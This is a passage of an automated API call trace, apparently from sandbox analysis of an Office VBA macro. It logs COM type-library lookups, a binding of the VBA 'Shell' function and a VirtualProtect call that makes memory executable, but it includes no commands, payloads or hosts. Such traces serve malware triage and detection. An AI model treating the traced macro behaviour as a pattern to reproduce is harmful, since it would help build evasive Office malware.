pDummy=0x0) returned 0x0 [0076.137] ITypeInfo:RemoteGetTypeAttr (in: This=0xb934ce8, ppTypeAttr=0x1ff6f0, pDummy=0xb903a70 | out: ppTypeAttr=0x1ff6f0, pDummy=0xb903a70*=0x0) returned 0x0 [0076.137] ITypeInfo:LocalReleaseTypeAttr (This=0xb934ce8) returned 0x0 [0076.139] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb934ce8, ppTLib=0x1ff430, pIndex=0x0 | out: ppTLib=0x1ff430*=0x679c120, pIndex=0x0) returned 0x0 [0076.139] ITypeLib:RemoteGetLibAttr (in: This=0x679c120, ppTLibAttr=0x1ff470, pDummy=0x0 | out: ppTLibAttr=0x1ff470, pDummy=0x0) returned 0x0 [0076.139] ITypeLib:LocalReleaseTLibAttr (This=0x679c120) returned 0x0 [0076.139] IUnknown:Release (This=0x679c120) returned 0x6 [0076.139] ITypeInfo:LocalReleaseVarDesc (This=0xb934ce8) returned 0x0 [0076.139] IUnknown:Release (This=0xb934ce8) returned 0x1 [0076.140] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff818 | out: ppvObject=0x1ff818*=0x0) returned 0x80004002 [0076.140] IUnknown:AddRef (This=0xb934ce8) returned 0x2 [0076.140] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff7a0 | out: ppvObject=0x1ff7a0*=0x0) returned 0x80004002 [0076.140] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff770 | out: ppvObject=0x1ff770*=0x0) returned 0x80004002 [0076.140] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff760 | out: ppvObject=0x1ff760*=0x0) returned 0x80004002 [0076.140] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff768 | out: ppvObject=0x1ff768*=0x0) returned 0x80004002 [0076.140] ITypeInfo:RemoteGetTypeAttr (in: This=0xb934ce8, ppTypeAttr=0x1ff798, pDummy=0x10 | out: ppTypeAttr=0x1ff798, pDummy=0x10) returned 0x0 [0076.140] ITypeInfo:LocalReleaseTypeAttr (This=0xb934ce8) returned 0x0 [0076.140] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.140] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.140] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff988 | out: ppvObject=0x1ff988*=0x0) returned 0x80004002 [0076.140] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff980 | out: ppvObject=0x1ff980*=0x0) returned 0x80004002 [0076.142] IMalloc:Alloc (This=0x7fefe465380, cb=0xc0) returned 0x6046550 [0076.142] IMalloc:GetSize (This=0x7fefe465380, pv=0x6046550) returned 0xc0 [0076.142] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.142] IUnknown:Release (This=0xb824678) returned 0x1 [0076.142] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.142] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.142] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.142] GetCurrentProcess () returned 0xffffffffffffffff [0076.142] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.142] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.142] IMalloc:Alloc (This=0x7fefe465380, cb=0x318) returned 0x5a5bc30 [0076.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c1a, cbMultiByte=14, lpWideCharStr=0x1ff730, cchWideChar=15 | out: lpWideCharStr="msoAlignLefts") returned 14 [0076.142] ITypeComp:RemoteBind (in: This=0x679bb90, szName="msoAlignLefts", lHashVal=0x10d2c2, wFlags=0x3, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0x0, pDescKind=0x1ff6fc*=0, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c1a, cbMultiByte=14, lpWideCharStr=0x1ff730, cchWideChar=15 | out: lpWideCharStr="msoAlignLefts") returned 14 [0076.142] ITypeComp:RemoteBind (in: This=0x5a48630, szName="msoAlignLefts", lHashVal=0x10d2c2, wFlags=0x3, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0x0, pDescKind=0x1ff6fc*=0, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c1a, cbMultiByte=14, lpWideCharStr=0x1ff730, cchWideChar=15 | out: lpWideCharStr="msoAlignLefts") returned 14 [0076.143] ITypeComp:RemoteBind (in: This=0x679c130, szName="msoAlignLefts", lHashVal=0x10d2c2, wFlags=0x3, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0x0, pDescKind=0x1ff6fc*=0, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c1a, cbMultiByte=14, lpWideCharStr=0x1ff730, cchWideChar=15 | out: lpWideCharStr="msoAlignLefts") returned 14 [0076.143] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="msoAlignLefts", lHashVal=0x10d2c2, wFlags=0x3, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0xb95f138, pDescKind=0x1ff6fc*=2, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.143] ITypeInfo:RemoteGetTypeAttr (in: This=0xb95f138, ppTypeAttr=0x1ff6f0, pDummy=0x6802520 | out: ppTypeAttr=0x1ff6f0, pDummy=0x6802520*=0x0) returned 0x0 [0076.143] ITypeInfo:LocalReleaseTypeAttr (This=0xb95f138) returned 0x0 [0076.143] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb95f138, ppTLib=0x1ff430, pIndex=0x0 | out: ppTLib=0x1ff430*=0x679c6c0, pIndex=0x0) returned 0x0 [0076.143] ITypeLib:RemoteGetLibAttr (in: This=0x679c6c0, ppTLibAttr=0x1ff470, pDummy=0x0 | out: ppTLibAttr=0x1ff470, pDummy=0x0) returned 0x0 [0076.143] ITypeLib:LocalReleaseTLibAttr (This=0x679c6c0) returned 0x0 [0076.143] IUnknown:Release (This=0x679c6c0) returned 0x4 [0076.143] ITypeInfo:LocalReleaseVarDesc (This=0xb95f138) returned 0x0 [0076.143] IUnknown:Release (This=0xb95f138) returned 0x1 [0076.143] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff818 | out: ppvObject=0x1ff818*=0x0) returned 0x80004002 [0076.143] IUnknown:AddRef (This=0xb95f138) returned 0x2 [0076.143] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff7a0 | out: ppvObject=0x1ff7a0*=0x0) returned 0x80004002 [0076.143] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff770 | out: ppvObject=0x1ff770*=0x0) returned 0x80004002 [0076.143] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff760 | out: ppvObject=0x1ff760*=0x0) returned 0x80004002 [0076.143] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff768 | out: ppvObject=0x1ff768*=0x0) returned 0x80004002 [0076.143] ITypeInfo:RemoteGetTypeAttr (in: This=0xb95f138, ppTypeAttr=0x1ff798, pDummy=0x10 | out: ppTypeAttr=0x1ff798, pDummy=0x10) returned 0x0 [0076.143] ITypeInfo:LocalReleaseTypeAttr (This=0xb95f138) returned 0x0 [0076.143] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.143] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.143] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff988 | out: ppvObject=0x1ff988*=0x0) returned 0x80004002 [0076.143] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff980 | out: ppvObject=0x1ff980*=0x0) returned 0x80004002 [0076.143] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.143] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff728 | out: ppvObject=0x1ff728*=0x0) returned 0x80004002 [0076.143] ITypeInfo:RemoteGetTypeAttr (in: This=0xb824728, ppTypeAttr=0x1ff708, pDummy=0x10 | out: ppTypeAttr=0x1ff708, pDummy=0x10) returned 0x0 [0076.143] ITypeInfo:LocalReleaseTypeAttr (This=0xb824728) returned 0x0 [0076.143] IUnknown:AddRef (This=0xb824728) returned 0x4 [0076.143] IUnknown:Release (This=0xb824728) returned 0x3 [0076.143] IUnknown:Release (This=0xb824728) returned 0x2 [0076.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792bc2, cbMultiByte=6, lpWideCharStr=0x1ff6f0, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0076.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792bc2, cbMultiByte=6, lpWideCharStr=0x1ff730, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0076.143] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0xb9412f8, pDescKind=0x1ff6fc*=1, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.144] ITypeInfo:RemoteGetTypeAttr (in: This=0xb9412f8, ppTypeAttr=0x1ff6f0, pDummy=0x1 | out: ppTypeAttr=0x1ff6f0, pDummy=0x1) returned 0x0 [0076.144] ITypeInfo:LocalReleaseTypeAttr (This=0xb9412f8) returned 0x0 [0076.144] ITypeInfo:GetRefTypeInfo (in: This=0xb9412f8, hreftype=0x400, ppTInfo=0x1ff428 | out: ppTInfo=0x1ff428*=0xb941350) returned 0x0 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff5f8 | out: ppvObject=0x1ff5f8*=0x0) returned 0x80004002 [0076.144] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941350, ppTypeAttr=0x1ff478, pDummy=0x10 | out: ppTypeAttr=0x1ff478, pDummy=0x10) returned 0x0 [0076.144] ITypeInfo:LocalReleaseTypeAttr (This=0xb941350) returned 0x0 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff180 | out: ppvObject=0x1ff180*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff170 | out: ppvObject=0x1ff170*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff178 | out: ppvObject=0x1ff178*=0x0) returned 0x80004002 [0076.144] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941350, ppTypeAttr=0x1ff1a8, pDummy=0x10 | out: ppTypeAttr=0x1ff1a8, pDummy=0x10) returned 0x0 [0076.144] ITypeInfo:LocalReleaseTypeAttr (This=0xb941350) returned 0x0 [0076.144] IUnknown:AddRef (This=0xb941350) returned 0x2 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff320 | out: ppvObject=0x1ff320*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff318 | out: ppvObject=0x1ff318*=0x0) returned 0x80004002 [0076.144] IUnknown:Release (This=0xb941350) returned 0x1 [0076.144] IUnknown:Release (This=0xb9412f8) returned 0x1 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b50*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ff550 | out: ppvObject=0x1ff550*=0xb9412f8) returned 0x0 [0076.144] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb9412f8, memid=1610612745, invkind=1, pFuncIndex=0x1ff590 | out: pFuncIndex=0x1ff590*=0x9) returned 0x0 [0076.144] ITypeInfo2:GetFuncCustData (in: This=0xb9412f8, index=0x9, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff5a8 | out: pVarVal=0x1ff5a8*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x10d756)) returned 0x0 [0076.144] IUnknown:Release (This=0xb9412f8) returned 0x1 [0076.144] IUnknown:AddRef (This=0xb941350) returned 0x2 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff448 | out: ppvObject=0x1ff448*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff508 | out: ppvObject=0x1ff508*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb941350, riid=0x7fee5f8ae08*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff3e0 | out: ppvObject=0x1ff3e0*=0x0) returned 0x80004002 [0076.144] IUnknown:Release (This=0xb941350) returned 0x1 [0076.144] IUnknown:AddRef (This=0xb9412f8) returned 0x2 [0076.144] ITypeInfo:LocalReleaseFuncDesc (This=0xb9412f8) returned 0x0 [0076.144] IUnknown:Release (This=0xb9412f8) returned 0x1 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff818 | out: ppvObject=0x1ff818*=0x0) returned 0x80004002 [0076.144] IUnknown:AddRef (This=0xb9412f8) returned 0x2 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff7a0 | out: ppvObject=0x1ff7a0*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff770 | out: ppvObject=0x1ff770*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff760 | out: ppvObject=0x1ff760*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff768 | out: ppvObject=0x1ff768*=0x0) returned 0x80004002 [0076.144] ITypeInfo:RemoteGetTypeAttr (in: This=0xb9412f8, ppTypeAttr=0x1ff798, pDummy=0x10 | out: ppTypeAttr=0x1ff798, pDummy=0x10) returned 0x0 [0076.144] ITypeInfo:LocalReleaseTypeAttr (This=0xb9412f8) returned 0x0 [0076.144] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.144] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff988 | out: ppvObject=0x1ff988*=0x0) returned 0x80004002 [0076.144] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff980 | out: ppvObject=0x1ff980*=0x0) returned 0x80004002 [0076.145] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb9412f8, ppTLib=0x1ff1c0, pIndex=0x0 | out: ppTLib=0x1ff1c0*=0x679bb80, pIndex=0x0) returned 0x0 [0076.145] ITypeLib:RemoteGetLibAttr (in: This=0x679bb80, ppTLibAttr=0x1ff1d0, pDummy=0x0 | out: ppTLibAttr=0x1ff1d0, pDummy=0x0) returned 0x0 [0076.145] ITypeLib:LocalReleaseTLibAttr (This=0x679bb80) returned 0x0 [0076.145] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.145] ITypeInfo:RemoteGetDllEntry (in: This=0xb9412f8, memid=1610612745, invkind=1, refPtrFlags=0x1ff1c0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.145] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6628b50 [0076.145] strcpy_s (in: _Dst=0x6628b78, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0076.145] ITypeInfo:RemoteGetDllEntry (in: This=0xb9412f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff1c0, pbstrName=0x0, pwOrdinal=0x1ff1e0 | out: pBstrDllName=0x1ff1c0*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1e0*=0xf450) returned 0x0 [0076.145] ITypeInfo:RemoteGetDllEntry (in: This=0xb9412f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff1c0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff1c0, pwOrdinal=0x500000000) returned 0x0 [0076.145] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.145] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.145] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.145] GetCurrentProcess () returned 0xffffffffffffffff [0076.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x43) returned 1 [0076.145] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.145] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb9412f8, ppTLib=0x1ff4f0, pIndex=0x0 | out: ppTLib=0x1ff4f0*=0x679bb80, pIndex=0x0) returned 0x0 [0076.145] ITypeLib:RemoteGetLibAttr (in: This=0x679bb80, ppTLibAttr=0x1ff500, pDummy=0x0 | out: ppTLibAttr=0x1ff500, pDummy=0x0) returned 0x0 [0076.145] ITypeLib:LocalReleaseTLibAttr (This=0x679bb80) returned 0x0 [0076.145] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.145] ITypeInfo:RemoteGetDllEntry (in: This=0xb9412f8, memid=1610612745, invkind=1, refPtrFlags=0x1ff4f0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.145] ITypeInfo:RemoteGetDllEntry (in: This=0xb9412f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff4f0, pbstrName=0x0, pwOrdinal=0x1ff510 | out: pBstrDllName=0x1ff4f0*=0x0, pbstrName=0x0, pwOrdinal=0x1ff510*=0xf780) returned 0x0 [0076.146] ITypeInfo:RemoteGetDllEntry (in: This=0xb9412f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff4f0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff4f0, pwOrdinal=0x500000000) returned 0x0 [0076.146] IMalloc:Free (This=0x7fefe465380, pv=0x666f110) [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.146] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 